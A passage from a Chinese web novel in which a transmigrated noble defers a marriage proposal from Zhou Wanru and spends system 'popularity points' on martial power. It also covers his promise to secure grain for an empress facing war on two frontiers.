江芷兰和周婉如的目光落在旗袍、丝袜以及样式‘古怪’的内衣上,刚刚退下去的红潮再次汹涌而来!
这…这都是些什么呀!
也太…太不知羞了!
尤其是那内衣,简直是…
然而,与羞涩同时升起的,还有一股好奇和对美丽新奇衣物的向往。
那旗袍的料子和花色如此精美,丝袜看起来那么轻薄柔软,还有那内衣…
虽然样式大胆,但看起来似乎真的很舒适?
江芷兰眼尖,看到江凡表情尴尬,眼神躲闪,心中一动,故意板起脸问道:
“凡儿,你老实告诉姐姐,这些…这些衣物,真的是你师门所传?还是你从什么地方弄来的?”
她实在难以想象,一个‘世外高人’的师门,会专门研究女子贴身衣物和月事用品,还设计出旗袍丝袜这等‘有伤风化’的服饰。
“千真万确!真是师门所传!”
江凡连忙指灯发誓,一脸真诚,
“师尊他老人家…嗯,师门中也有女弟子,这些都是为了方便她们日常所用而研制的。如今朝廷缺钱,师尊才让我拿出来,看看能否换些银两。”
他这谎话说得自己都快信了。
江芷兰将信将疑,但看着弟弟那窘迫又认真的样子,也不像在撒谎。
她走到箱子边,拿起一件月白色的旗袍,轻轻抚摸着光滑的绸缎,眼中闪过一丝意动。
周婉如也悄悄靠近,拿起一双肉色丝袜,脸上红晕更甚,却忍不住低声问道:
“江…江世子,这丝袜…当真能穿吗?不会…一扯就破吧?”
“不会不会,有弹性的,只要小心些,不容易破。”
江凡连忙解释,看到周婉如那羞涩又好奇的模样,心头没来由地一软。
江芷兰看了看旗袍,又看了看丝袜和内衣,忽然对江凡道:
“凡儿,
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你出去一下。”
“啊?”江凡一愣。
“让你出去就出去!”
江芷兰瞪了他一眼,脸上也有些发红,
“我和周妹妹、冷妹妹…想试试这些衣物合不合身。”
试…试穿?
江凡差点跳起来。
姐姐和周婉如她们要当着他的面试穿旗袍丝袜内衣?
这…这怎么行!
“姐!那我…我先回房了!你们慢慢试!喜欢哪件就拿去!不用问我!”
江凡语无伦次地说完转身就跑,瞬间就消失在了库房门外,那速度,比面对刺客时还快。
看着他落荒而逃的背影,江芷兰和周婉如对视一眼,都忍不住‘噗嗤’一声笑了出来,脸上的红晕却更深了。
“这个傻弟弟…”
江芷兰摇头失笑,目光重新落在那些衣物上,眼中闪烁着跃跃欲试的光芒。
“周妹妹,冷妹妹,来,咱们看看,这些‘奇装异服’,到底有何神奇之处…”
……
江凡一口气跑回自己的院子,关上门,背靠在门板上,心脏还在怦怦狂跳。
今晚这是怎么了?
接二连三地被刺激。柳絮,云暮,现在姐姐和周婉如她们也要试穿…
他感觉自己快要短命了。
他走到桌边,倒了杯凉茶,一口气灌下去,试图平复躁动的心绪。
无意中,他再次调出系统界面,想看看人气值的变化,分散一下注意力。
【当前人气值:8,850,000/300,000】八百八十五万!
江凡精神一振!
看来,‘劝世良言’和《深宫秘恋》的推广效果还在持续发酵,而且随着传播范围扩大,人气值的增长似乎还在加速!
照这个速度,很快就能突破一千万,甚至更多!
实力!
有了人气值,就有了实力,也有了应对一切变故的底气!
他心中稍定,开始琢磨,等凑够一千两百万,明天先兑换到大宗师后期。
或者,先攒着,看看能不能直接提升到极道宗师?
正想着,门外忽然传来了轻轻的叩门声,以及一个带着怯意的女声:
“江…江世子,你睡了吗?”
是周婉如!
江凡心里一咯噔,刚平复一些的心跳又加快了。
这么晚了,她来做什么?
第210章 这个傻女人
江凡深吸一口气,走过去打开房门。
门外的景象,让江凡瞬间血液上涌,呼吸停滞!
只见周婉如穿着一身水绿色的旗袍,旗袍衬托出她纤细的腰肢和初具规模的胸脯。
下摆的开叉处,一双包裹在肉色丝袜中的笔直小腿若隐若现。
她显然刚刚沐浴过,头发还带着湿气,松松地挽在脑后,几缕发丝调皮地垂在颊边。
脸上未施粉黛,却因羞涩而染着动人的红晕,在廊下灯笼昏黄的光线下,宛如一朵含苞待放的出水芙蓉,清纯中透着不自知的妩媚。
而且,江凡能明显看出,她旗袍下的身体曲线,比平日更加…挺拔有致,显然是穿上了那种新式内衣的效果。
“周…周姑娘…”
江凡喉咙发干,声音沙哑,眼睛几乎无法从她身上移开。
周婉如本就温婉秀丽,此刻换上这身融合了现代审美的装扮,将古典的柔美与一丝新潮的性感巧妙结合,竟产生了一种直击人心的魅力。
尤其是她眼中那混合着羞涩、期待、忐忑与深深情意的眸光,更是让他心头剧震。
周婉如被他看得更加羞赧,下意识地并拢了双腿,双手也无措地绞在一起,声如蚊蚋:
“世…世子,我…我穿这身,好…好看吗?”
“好…好看!很好看!”
江凡几乎是下意识地地答道。
此刻的周婉如,确实美得令人窒息。
听到他的肯定,周婉如眼中闪过一丝欣喜,胆子似乎也大了一些。
她抬起头,眸子直直地望着江凡,里面盛满了情意和一丝委屈:
“那…世子为什么总是躲着我?”
“我、我没有躲着你啊。”
江凡下意识地否认,眼神却有些闪躲。
“明明就有。”
周婉如上前一步,两人之间的距离瞬间拉近,她身上沐浴后的淡淡清香和女子特有的体香幽幽传来,让江凡心神一荡。
“陛下压下了我们的婚事,世子是不是…跟陛下之间,有什么?”
她鼓起勇气,问出了藏在心底许久的疑问。
女帝对江凡的维护,那些超乎寻常的赏赐和宽容,她都看在眼里。
再加上江凡那位神秘的‘师尊’似乎与女帝关系匪浅…
她不得不往那方面想。
江凡心头一跳,连忙摆手:
“没有!绝对没有!周姑娘你误会了!陛下她…她是看上我师尊了!对,是逍遥公子前辈!跟我没关系!”
他急于撇清,语气有些急促。
“真的?”
周婉如紧紧盯着他的眼睛,似乎想从中找出破绽。
“千真万确!”江凡信誓旦旦,
“陛下对我好,多半也是看在我师尊的面子上,照顾一下徒弟罢了。我跟陛下,就是单纯的君臣关系!”
这话他说得自己都有些心虚,尤其是想到昨夜凤仪宫中那个拥抱和吻…
周婉如仔细看着他的表情,见他眼神虽然有些慌乱,但否认得十分坚决,不似作伪。
心中那块大石终于落地,长长地松了口气,脸上露出了如释重负的笑容。
只要不是陛下就好…
因为陛下跟世子在一起,肯定不能三妻四妾...
“原来是这样…”她低声道,随即又抬起眼,目光中充满了柔情与坚定,
“那…世子,你什么时候娶我?陛下虽然暂时压下,但只要我们心意坚定,等北境战事平稳些,再向陛下恳求,或许…”
“这个…”江凡脸上露出为难之色。
娶周婉如?
若是之前,他或许会顺水推舟,毕竟这个温婉美丽的女子一直默默等着他,父亲也极力促成。
可经历了这么多,尤其是自己心中那越来越难以忽视的悸动,他发现自己无法再像以前那样,轻易给出承诺。
“周姑娘,”他斟酌着语句,语气诚恳,
“你的心意,我明白。我也很感激。只是…眼下局势你也知道,靖王未除,北境、南疆烽烟将起,朝廷内外危机四伏。
我身为金刀侍卫,职责所在,随时可能面临危险。我…我不敢保证自己能平平安安,更不敢保证能给你一个安稳的未来。
婚事…还是等局势稳定些,靖王之事了结之后,再议不迟。好吗?”
他说的也是实情。
前路未卜,强敌环伺,他如何能轻易许下婚姻的承诺,将周
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婉如也卷入这未知的风险之中?
周婉如闻言,眼中迅速蒙上了一层水雾,但她强忍着没有让泪水掉下来。
她看着江凡,看着他眼中的歉意、挣扎,还有那份真诚的担忧,心中既酸涩,又涌起一股暖流。
世子是在担心她,不想连累她。
“世子…”
她忽然上前一步,在江凡惊愕的目光中,伸出纤纤玉手,轻轻捂住了他的嘴,不让他再说出那些‘不吉利’的话。
她的手掌柔软微凉,带着淡淡的香气。
江凡身体一僵,愣愣地看着近在咫尺的娇美容颜。
周婉如仰着脸,目光清澈而坚定,一字一句地说道:
“世子,不要乱说。你一定能平平安安的,我相信。而且…”
她顿了顿,脸上红霞更盛,眼中却闪烁着勇气和决绝:
“而且…世子若是担心的话,我…我愿意的。我愿意先帮世子…留下子嗣。这样,无论将来如何,国公府的血脉,江家的香火,都能延续下去。我…我不怕。”
轰——!
江凡只觉得脑中嗡嗡作响!
他瞪大了眼睛,难以置信地看着周婉如,几乎怀疑自己听错了。
她说什么?
先帮他留下子嗣?
未婚先孕?
在这个礼教森严的时代,对一个未出阁的大家闺秀而言,这意味着什么,她难道不知道吗?
这意味着她将背负怎样的污名和非议,甚至可能被家族唾弃,一生尽毁!
可她竟然说…她愿意?
她不怕?
巨大的震撼、感动、愧疚,以及一股怜惜的洪流,瞬间将江凡淹没。
他看着周婉如那双盛满了深情、羞涩、却无比坚定的眼眸,看着这个温婉柔顺、此刻却展现出惊人勇气和牺牲精神的女子,只觉得心脏一紧。
这个傻女人…这个傻得让人心疼的女人…
他何德何能,值得她如此倾心相待,甚至不惜赔上自己的一切?
一直以来,他都想办法躲着周婉如。
不知道是出于对包办婚姻的抗拒,还是别的,他总觉得跟周婉如不可能有什么感情。
但现在,他的确被周婉如触动了。
第211章 那我们拉钩
江凡张了张嘴,却发不出任何声音。
他只能怔怔地看着周婉如,看着灯火下,她绯红的脸颊,闪烁的泪光的眸子。
这个傻女人。
真是傻得让人心疼。
在这个礼法大过天、女子名节重于生命的时代,她竟然能为了他,说出如此惊世骇俗、甚至可能毁掉自己一生的话。
仅仅是因为担心他‘发生意外’,担心江家香火无继。
这份情意,纯粹、炽热、沉重得让他几乎无法承受。
他不是铁石心肠。
穿越至今,周婉如的温柔、体贴、默默守候,他不是没有感觉。
只是之前,他由于‘逍遥公子’的伪装,还有对包办婚姻的本能抗拒,一直在下意识地忽略,甚至逃避。
他将她视作父亲安排的、一个不错的、可以接受的‘结婚对象’,却从未真正深入思考过,这个女子对他,到底意味着什么。
直到此刻,直到她褪去所有的矜持与羞涩,用最直白、也最傻的方式,将一颗滚烫的真心捧到他面前。
“我…”
江凡张了张嘴,声音干涩得厉害。
看着她眼中的期待和脆弱,他发现自己根本无法说出任何伤害她的话。
可是,答应?
在这种内忧外患、自己感情尚且一团乱麻的时候,给她一个虚无的承诺,甚至做出更过分的事情?
那对她,对自己,都太不负责了。
他不能因为一时感动,就毁了她一生。
深吸一口气,江凡强迫自己冷静下来。
抬手,轻轻扶住周婉如微微颤抖的肩膀,目光与她相对,语气认真且郑重:
“婉如,你的心意,我…我收到了。我很感动,真的。你这样好的姑娘,愿意…如此待我,是我江凡几辈子修来的福气。”
周婉如眼中瞬间迸发出惊喜的光芒。
“但是,”江凡话锋一转,眼中带着歉意和坚定,
“我不能答应你,至少,现在不能。”
周婉如眼中的光芒黯淡下去,泪水再次盈满眼眶,声音带着哽咽:
“世子是…嫌我丑吗?还是觉得我…不知廉耻?”
“不!绝对不是!”
江凡连忙否认,看着她幽然欲泣的模样,心头一紧,语气更加急切,
“你很好看,温婉端庄,心地善良,是世间难得的好女子。我怎会嫌你?只是…眼下局势如何,你我都清楚。
北境烽火连天,南疆危机四伏,靖王在暗处虎视眈眈,京城看似平静,实则暗流汹涌。我身为御前侍卫,职责在身,无法顾全你。
敌人在暗处,如果得知我很在意你,甚至你有了我的骨肉,对你来说并非好事。”
“可我不在乎...”
“我在乎!”
江凡打断周婉如,继续道:
“我若此时与你…与你有了肌肤之亲,甚至留下子嗣,即使以后我娶了你,世人依然会对你指指点点。我江凡虽非圣人,却也绝不能如此自私,如此…毁了你。”
他今天接连受到的视觉冲击和心理冲击太大,尤其是周婉如此刻这身旗袍丝袜的装扮,将她平日含蓄的美丽以一种全新的方式展现出来,让他心跳难以平复。
说不动心,那是假的。
一个千肯万肯、美丽温婉的女子投怀送抱,哪个正常男人能坐怀不乱?
可最后那丝理智,或者说,是内心深处对周婉如的一份怜惜与责任,让他强行压下了那股蠢蠢欲动的燥热。
他不能在这种时候,用这种方式,去占有她的深情。
那是对她的亵渎。
“婉如,”他放柔了声音,
“你再给我一点时间,好吗?等北境战事平息,等靖王这个心腹大患被拔除,等朝局真正稳定下来。
到时候,我一定…风风光光地娶你过门,给你一个名分,一个安稳的家。
而不是像现在这样,仓促之间,让你受尽委屈。你…愿意等我吗?”
周婉如怔怔地望着他,看着他眼中的真诚、歉意以及温柔,心中那点委屈和不安,渐渐被一股甜蜜的暖流所取代。
世子不是不喜欢她,不是嫌弃她,而是…在为她的未来着想,在保护她。
他说的对。
眼下局势确实凶险。
若真的…有了孩子,即使以后跟世子成亲,也将成为众人的笑柄。
她自己可以不在乎,但孩子会在什么样的**中长大?
可是,让她就这么干等着
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,眼睁睁看着心爱之人身处险境,她却什么也做不了,这种煎熬,同样难以忍受。
但至少,世子给了她承诺。
一个关于将来的承诺。
“世子…”她眼中泪水再次滑落,却是喜极而泣。
她忽然鼓起勇气,向前一步,扑进了江凡的怀中,紧紧抱住了他的腰,将脸深深埋在他胸前,带着哽咽和一丝撒娇:
“你说话要算数!等战事平定,靖王伏诛,你一定要娶我!不准反悔!”
温香软玉再次入怀,周婉如的拥抱带着依赖和眷恋,让江凡身体再次一僵,随即心中涌起一片柔软。
他迟疑了一下,还是将她拥入怀中。
周婉如眼泪夺眶而出,这个拥抱她幻想了很久,也期待了很久。
这意味着世子真正接纳了她,这个钢铁之心终于被自己的绕指柔打动。
江凡轻轻拍了拍她的后背,动作有些生疏,却带着安抚的意味。
“嗯,说话算数,我一定娶你。”他低声承诺。
“那我们拉钩!”
周婉如忽然从他怀中抬起头,脸上还挂着泪珠,却已破涕为笑,伸出纤细的小指,眼中闪烁着孩子气的执着。
看着她这副模样,江凡有些哭笑不得,但还是依言伸出了自己的小指,与她勾在一起。
“拉钩上吊,一百年不许变!”
周婉如认真地念着童谣,然后用力晃了晃两人勾在一起的手指,仿佛这样就能将承诺牢牢锁住。
“好了,不早了,你先回去休息吧。”
江凡收回手,看着她身上单薄的旗袍,皱了皱眉,“夜里凉,穿这么少,小心着凉。快回去加件衣服。”
“嗯!”周婉如重重点头,脸上洋溢着满足和喜悦的红晕,突然踮起脚尖,在江凡脸上亲了一口。
“你...”
“夫君,你也早点休息。”
周婉如红着脸说完,立即转身小跑着离开了。
那水绿色的旗袍裙摆在夜风中轻轻摇曳,丝袜包裹的小腿在月光下划过诱人的弧线。
江凡站在门口,目送着她的身影消失在回廊尽头,直到完全看不见,才摸着脸颊哭笑不得。
“这个大胆的傻丫头...”
第212章 接连的噩耗
江凡关上房门,脑子还乱糟糟的。
一天之内,信息量**,情感冲击不断,让他这个只想当咸鱼的身心俱疲。
他摇摇头,甩开这些无谓的思绪。
现在不是伤春悲秋、儿女情长的时候!
靖王的刀还悬在头顶,北境南疆的将士在流血,女帝在朝堂上承受着巨大的压力,他需要力量,需要尽快提升实力,需要想办法破局!
他重新调出系统界面,看着快速上涨的人气值,心中有了决断。
必须趁热打铁,继续扩大影响力,获取更多的人气值!
他走到书案前,铺开纸笔,再次创作《深宫秘恋》。
这一次,他决定不再局限于单一的情感线或权谋线,而是要打造一个‘大杂烩’。
一个能让尽可能多的人找到兴趣点、产生共鸣的‘文化**’!
他笔走龙蛇,文思如泉涌:
最新章回:天工开物惠万民,诗词歌赋启民智;暗潮汹涌边关急,巾帼须眉共担纲。
在这一章里,他巧妙地将多条线索融合:
首先,延续‘林枫’(影子)暗中守护女帝的深情主线,但笔触更加含蓄深沉,着重描写‘影子’在守护之余,看到女帝为国事忧劳、日渐消瘦时的心疼与无奈,以及那份无法宣之于口的爱恋,赚取女性读者和情感向读者的眼泪与共鸣。
其次,引入‘天工院’概念,借书中一位醉心工匠之术的‘奇人’之口,详细描述了几种简易实用的农业改良技术——
比如更省力的曲辕犁改进草图、利用水力或风力驱动的简易灌溉水车原理图、甚至是一些基础的土壤改良和轮作套种的理念。
文字浅显易懂,配有简单示意图,力求让稍有经验的农夫都能看懂个大概,激发他们对改善生计的希望和兴趣。
然后,笔锋一转,描写朝堂之上,关于边关军情的激烈争论,主战主和派的冲突,将北境南疆的危急形势。
以及朝中某些官员的别有用心,刻画得入木三分,突出女帝力排众议、坚决主战的艰难与魄力,塑造其英明果决的君主形象。
同时激起读者的家国情怀和对靖王**行径的愤慨。
接着,在话本中穿插了几首或豪迈慷慨、或清新婉约、或反映民间疾苦的新诗。
这些诗作自然是他‘借鉴’自另一个世界的瑰宝,如岳飞的《满江红·写怀》、杜甫的《春望》、白居易的《卖炭翁》等。
他相信,这些跨越时空的文学力量,足以震撼这个时代的文人墨客,甚至普通识字的百姓,极大提升话本的文学价值和传播广度。
最后,他还贴心地加入了一些简易的算术口诀、生活小窍门、甚至是一两个简单有趣的物理化学小实验,如孔明灯原理。
旨在启发民智,吸引更多阶层、特别是年轻人和好奇心重的人的关注。
他要打造的话本,不再仅仅是茶余饭后的消遣,而是集情感、权谋、技术、文学、科普于一体的‘超级文化产品’!
他要让贩夫走卒能在其中看到改善生活的希望,让书生文人能品味诗词文章的妙处,让闺阁女子为深情故事落泪,让热血男儿为家国天下激昂!
他要让尽可能多的人,成为《深宫秘恋》的粉丝,为他提供源源不断的人气值!
当他写完最后一个字,点击提交时,心中充满了期待。
【叮!作品检测通过。触发‘文化盛宴’特殊模板。本次印制将采用分级投放策略,包含精装插图本、普通刻本及简易手抄本模板。预计初始总投放数量:50000份。后续将根据传播热度自适应追加。】
五万份!
分级投放!
江凡精神大振!
他仿佛已经看到,明天一早,整个大夏至周边城镇,将被他的话本新一轮的‘文化冲击’所席卷。
做完这一切,已是后半夜。
江凡再也支撑不住,衣服也懒得脱,直接倒在床上,几乎是瞬间就陷入了沉睡。
……
翌日清晨,江凡被下人唤醒。
虽然只睡了不到两个时辰,但大宗师的修为让他精力恢复极快,只是精神上还有些倦意。
他习惯性地第一件事就是查看系统。
【当前人气值:15,800,000】
一千五百八十万!
江凡瞬间睡意全无,直接从床上弹坐起来,眼睛瞪得溜圆!
一夜之间,又涨了六百多万!
这增长速度,简直恐怖!
看来昨晚那‘文化盛宴’般的更新,以及之前‘劝世良言’的持续发酵,效果远超预期!
照这个速度,或许用不了几天,他就能攒够
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将修为堆到极道宗师巅峰的巨款!
实力!
现在最需要的就是实力!
面对靖王可能请来的陆地神仙,面对北境南疆的危局,大宗师后期的修为虽然已算顶尖,但还不够稳妥!
“系统,兑换大宗师后期境界!”
他毫不犹豫。
【叮!消耗人气值1000万点!开始灌注大宗师后期境界修为…】
浩瀚的能量涌入,这一次的提升更加显著。
“还剩五百八十万人气值…”
江凡满意地点点头。
留下五百多万备用,应对突发情况,或者关键时刻兑换【无敌领域】。
剩下的,或许可以考虑兑换一些实在的物资了,比如…粮食?
想到北境和南疆缺粮的紧急军报,江凡心中一动。
系统商城里自然有粮食,而且价格相对于这个时代极其低廉。
但如何解释大批粮食的来源是个问题。
或许,可以借口师门支援?
或者,通过柳絮的渠道,以‘海外购粮’的名义?
他一边思索着,一边迅速洗漱更衣,换上金刀侍卫的玄色劲装,佩戴好金刀,匆匆赶往皇宫。
今日的朝会,气氛比往日更加凝重肃杀,带着一种山雨欲来风满楼的压抑感。
果然,刚一开始,兵部尚书便出列,声音沉重地禀报:
“陛下!北境八百里加急!北莽大将耶律雄才亲率十万铁骑,连续三日猛攻镇北关!
镇国公虽依陛下旨意,凭险固守,击退敌军数次进攻,然敌军势大,攻势如潮,关内箭矢滚木消耗甚巨,将士疲惫。
镇国公急报,若粮草军械不能及时补充,恐难以久持。恳请朝廷速发援兵,急运粮草,并…准其择机出关反击,以挫敌军锐气!”
话音刚落,又一位兵部侍郎出列,脸色更加难看:
“陛下!南疆六百里加急!南蛮联军约八万众,在靖王旧部引导下,避开主力关隘,绕行险峻山道,奇袭我军侧后粮道!安国公部措手不及,粮草被焚毁大半!
现南疆大军缺粮少饷,军心浮动,安国公紧急求援,言道若无援军粮草,最迟五日,南疆防线恐有崩溃之危!安国公恳请…立即抽调京城戍卫兵马,火速驰援!”
两个噩耗接连抛出,瞬间在朝堂上掀起了惊涛骇浪!
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虽然只睡了不到两个时辰,但大宗师的修为让他精力恢复极快,只是精神上还有些倦意。
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现在最需要的就是实力!
面对靖王可能请来的陆地神仙,面对北境南疆的危局,大宗师后期的修为虽然已算顶尖,但还不够稳妥!
“系统,兑换大宗师后期境界!”
他毫不犹豫。
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“还剩五百八十万人气值…”
江凡满意地点点头。
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剩下的,或许可以考虑兑换一些实在的物资了,比如…粮食?
想到北境和南疆缺粮的紧急军报,江凡心中一动。
系统商城里自然有粮食,而且价格相对于这个时代极其低廉。
但如何解释大批粮食的来源是个问题。
或许,可以借口师门支援?
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他一边思索着,一边迅速洗漱更衣,换上金刀侍卫的玄色劲装,佩戴好金刀,匆匆赶往皇宫。
今日的朝会,气氛比往日更加凝重肃杀,带着一种山雨欲来风满楼的压抑感。
果然,刚一开始,兵部尚书便出列,声音沉重地禀报:
“陛下!北境八百里加急!北莽大将耶律雄才亲率十万铁骑,连续三日猛攻镇北关!
镇国公虽依陛下旨意,凭险固守,击退敌军数次进攻,然敌军势大,攻势如潮,关内箭矢滚木消耗甚巨,将士疲惫。
镇国公急报,若粮草军械不能及时补充,恐难以久持。恳请朝廷速发援兵,急运粮草,并…准其择机出关反击,以挫敌军锐气!”
话音刚落,又一位兵部侍郎出列,脸色更加难看:
“陛下!南疆六百里加急!南蛮联军约八万众,在靖王旧部引导下,避开主力关隘,绕行险峻山道,奇袭我军侧后粮道!安国公部措手不及,粮草被焚毁大半!
现南疆大军缺粮少饷,军心浮动,安国公紧急求援,言道若无援军粮草,最迟五日,南疆防线恐有崩溃之危!安国公恳请…立即抽调京城戍卫兵马,火速驰援!”
两个噩耗接连抛出,瞬间在朝堂上掀起了惊涛骇浪!
第213章 向师门借贷
“什么?北境也告急?南疆也要崩溃?”
“粮草!又是粮草!户部是干什么吃的?”
“京城戍卫兵马岂可轻动?那是保卫京畿、护卫陛下的最后屏障!”
“不放戍卫军,难道眼睁睁看着南疆沦陷,让蛮兵长驱直入吗?”
“北境同样危急!镇国公若败,北莽铁骑南下,何人可挡?”
“两面受敌,粮饷两缺,这…这如何是好!”
朝堂之上顿时炸开了锅,文武百官议论纷纷,争吵不休,恐慌、焦虑、相互指责的情绪迅速蔓延。
主战派要求立即调兵遣将,支援两线;
保守派则认为京城安危重于一切,绝不能轻易调动戍卫军;
还有一部分人则开始暗自盘算,觉得大夏此番恐怕在劫难逃,眼神闪烁,不知在打什么主意。
端**的萧璇月,凤眸平静地扫过下方的群臣,脸上看不出太多表情。
但眼底深处那一丝凝重,泄露了她内心的不平静。
她早就料到靖王会趁机动用北莽南蛮施压,却没想到攻势如此猛烈,南疆的粮道竟然被奇袭得手!
这显然是里应外合,蓄谋已久!
“肃静!”她清冷的声音响起,瞬间压下了嘈杂。
大殿内迅速安静下来,所有人都看向御座,等待天子的决断。
萧璇月没有立刻下旨,而是将目光投向一直沉默不语的户部尚书:
“李尚书,国库现存粮草,可支应两线几何?可能挤出一些,紧急调运?”
户部尚书李大人噗通一声跪倒在地,老泪纵横:
“陛下明鉴!国库早已空虚,各地税赋因战事和天灾迟迟未能足额入库。现存粮草,维持京城用度尚可,若要支援两线…杯水车薪,无济于事啊!老臣…老臣无能!”
他磕头如捣蒜。
“那向民间征调,或向富商大贾借贷呢?”
萧璇月又问。
“陛下,北境、南疆同时开战,消息早已传开,粮价一日数涨,有粮之家皆囤积居奇,不肯出售。
富商…富商也多与朝中官员、甚至…甚至与靖王有所勾连,此时借贷,难如登天啊!”
另一位官员出列,无奈地说道。
形势,比想象的更加严峻。
没钱,没粮,两面强敌,内部还有靖王这个毒瘤。
不少官员脸上已露出绝望之色。
就在这时,那位主张调京城戍卫军支援南疆的将领再次出列,声音激昂:
“陛下!事急从权!南疆若失,蛮兵可直逼江州、威胁中原腹地!届时纵有京城雄兵,亦成孤城!
不如冒险一搏,抽调五万京城戍卫精锐,火速驰援南疆,配合安国公,先稳住南线!北境有镇国公在,关险城固,只要粮草能跟上,坚守待援,应无大碍!”
“荒谬!”立刻有老臣反对,
“京城戍卫军乃国本所在,岂可轻动?若这五万兵马调走,京城防务空虚,万一有变,比如…靖王贼子趁机发难,只需数千死士,便可直扑皇城,威胁陛下安危!届时悔之晚矣!此乃拆东墙补西墙,自毁长城之举!”
双方再次激烈争论起来,谁也说服不了谁。
萧璇月静静听着,目光却不由自主地落在了御阶侧后方,那个眉头微蹙、似乎也在沉思的玄色身影上——江凡。
她的心,忽然安定了几分。
有他在。
有那个总能创造奇迹、给她带来惊喜和依靠的‘小混蛋’在。
虽然他现在只是静静站着,但她知道,他一定在思考,在想办法。
她深吸一口气,眼中闪过一丝决断,不再犹豫,朗声开口:
“众卿不必再争。”
大殿瞬间寂静,所有目光再次聚焦于她。
“南疆危局,迫在眉睫,安国公乃国之柱石,绝不可失。北境亦需支撑,不容有失。”
萧璇月语气平稳,却带着不容置疑的力度,
“传朕旨意:即日起,抽调京城戍卫军五万精锐,由骁骑将军赵云山统领,携带宫中紧急调拨的…部分存粮,火速驰援南疆!务必协助安国公,稳定战线,击退蛮兵!”
“陛下!不可啊!”
反对调兵的老臣们大惊失色,纷纷跪倒劝阻。
“朕意已决!”萧璇月凤眸含威,扫过众人,
“非常之时,当行非常之事!京城防卫,固然重要,然国门若失,京城亦难保周全!
这五万将士前往南疆,一是解燃眉之急,二也是锤炼我大夏儿郎!只有经历过血与火考验的军队,才能真正保卫江山,护卫皇城!”
她顿了顿,目光再次扫过殿内诸臣,尤其在几个眼神闪烁、疑似靖王党
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羽的官员脸上停留了一瞬,语气转冷:
“至于京城安危…众卿不必过虑。皇城之内,尚有供奉院诸位高人坐镇。朕之安危,自有安排。”
说着,她的目光,第三次,看似无意,却无比清晰地,落在了江凡身上。
那目光中,充满了信任和依赖。
她相信江凡能护她周全。
所以,她敢放手一搏,调走京城最精锐的防卫力量。
此时江凡也感到了前所未有的紧迫感和压力。
靖王…真的连这点时间都不给他们了吗?
如此急切地发动全面攻势,是要逼女帝自乱阵脚,还是要为那最终的‘雷霆一击’创造最完美的条件?
江凡握紧了腰间的金刀,眼神锐利如刀。
他知道,真正的暴风雨,马上就要来了。
而他,必须在那之前,做好万全的准备。
朝会在一片沉重与忐忑中散去。
萧璇月回到御书房,脸上的平静终于维持不住,眉宇间凝着忧色。
她屏退左右,只留下江凡一人。
殿门关闭,隔绝了外界的喧嚣。
御书房内,檀香袅袅,却驱不散心头的寒意。
萧璇月走到窗前,望着外面阴沉沉的天空,沉默了许久,才缓缓转过身,目光落在江凡身上。
那双凤眸,此刻盛满了疲惫、希冀,以及一丝依赖的脆弱。
“江凡,”她的声音有些沙哑,不复朝堂上的清冷,
“今日朝会,你也听到了。北境、南疆,皆在告急。镇国公和安国公,都是大夏栋梁,绝不容有失。
然…巧妇难为无米之炊,将士们可以浴血奋战,却不能空腹御敌。粮草…是眼下最大的难关。”
她顿了顿,走到江凡面前,距离很近,近到江凡能闻到她身上淡淡的龙涎香,能看清她眼底微微的血丝。
“你…你师尊他老人家,神通广大,交游广阔。不知…不知他师门之中,或可有相识的海外巨商、隐世粮商?
能否…能否设法,为大夏筹措一批粮食?不拘多少,能解燃眉之急便好!就当是…朕,是朝廷,向他,向你师门借贷!
朕可立下字据,以国库,以将来的盐铁茶税,甚至…以朕的私库担保!待高产作物推广,国力稍复,朕定当连本带利,加倍奉还!绝不拖欠分毫!”
第214章 是救命的粮
萧璇月的语气近乎恳求,带着一种走投无路的急切。
她知道这个要求很过分,粮食乃国之命脉。
尤其是在这烽烟四起、各国囤积居奇的时候,想要短时间内筹措大批粮食,简直难如登天。
可她别无他法。
户部已无能为力,民间渠道近乎堵塞,她唯一能想到的、或许还有一丝可能的,便是江凡。
江凡心头震动。
他从未见过女帝如此放低姿态,如此急切地恳求。
看着她眼中忧虑和期盼,再想到北境、南疆那些正在浴血拼杀、却可能因断粮而崩溃的将士,一股热血和责任感涌上心头。
粮食?
系统商城里有的是!
而且价格便宜得令人发指!
十个积分一斤!
他之前还盘算着要不要兑换一些以备不时之需。
现在,女帝开口了,还是以‘借贷’的名义,态度如此诚恳。
他立刻沉入心神,看了一眼系统界面:
【当前人气值:6,350,000】。
刚才朝会期间,人气值又涨了一些,突破六百万。
留下一百万应急,剩下的五百多万,全部兑换成粮食的话…
“系统,查询粮食兑换比例及总量。”
【叮!普通精米/面粉兑换比例为:10人气值/斤。宿主当前可用人气值5350000点,可兑换普通精米/面粉535000斤。是否确认兑换?】
五十三万五千斤?
似乎…不够。
北境南疆加起来近二十万大军,这点粮食支撑不了几天。
而且,他不可能把所有人气值都花光,还得留些备用。
“等等,有没有更便宜、能快速充饥的粮食?比如…压缩饼干?或者粗粮?”
江凡记得系统里似乎有军用口粮一类的东西。
【叮!搜索到军用压缩饼干(箱):每箱内含100块压缩饼干,每块可提供成人一日基本热量需求,耐储存,易携带。兑换需人气值500点/箱。】
【叮!搜索到混合粗粮包(100斤装):包含玉米、高粱、豆类等混合粗粮,营养较均衡。兑换需人气值500点/包。】
压缩饼干!
好东西!
虽然口感可能差些,但顶饿,耐储存,方便运输,尤其适合急行军和坚守!
一箱100块,能顶100人一天的口粮。
五百万点人气值,能换一万箱压缩饼干,就是二十万大军五天的口粮!
或者换五十万斤混合粗粮,可以吃更久…
江凡心中快速盘算。
可以先换一部分压缩饼干应急,让前线将士至少不饿肚子,再搭配一些粗粮和少量精米。
剩下的,看人气值后续增长情况再说。
“陛下,”他抬起头,看着女帝殷切的目光,郑重地点了点头,
“臣…可以试着联系师尊,问问看。师尊或许…确实有些门路。但粮食数量,不敢保证,只能尽力而为。”
“真的?!”
萧璇月眼中瞬间爆发出惊喜的光芒,仿佛溺水之人看到了岸边的灯火,连日来的沉重压力似乎都减轻了一丝。
她情不自禁地上前一步,几乎要抓住江凡的手,声音带着颤抖:
“好!好!江凡,你…你速去!需要什么,尽管跟朕说!朕全力配合!”
“谢陛下信任。”江凡连忙躬身,
“此事需隐秘进行,以免走漏风声,引起不必要的麻烦,甚至哄抬粮价。臣需要…一支绝对可靠的兵马,人数不需太多,但需口风紧,行动快。
以押运‘特殊军械’或‘师门物资’的名义出城,到城外僻静处交接。交接后,立刻秘密运回,由陛下亲自派人接管,直接发往两处边关。”
“可以!”萧璇月毫不犹豫,
“朕将皇城司最精锐的一千甲士调拨给你,由你全权指挥!出城手令、通关文书,朕即刻让人办好!
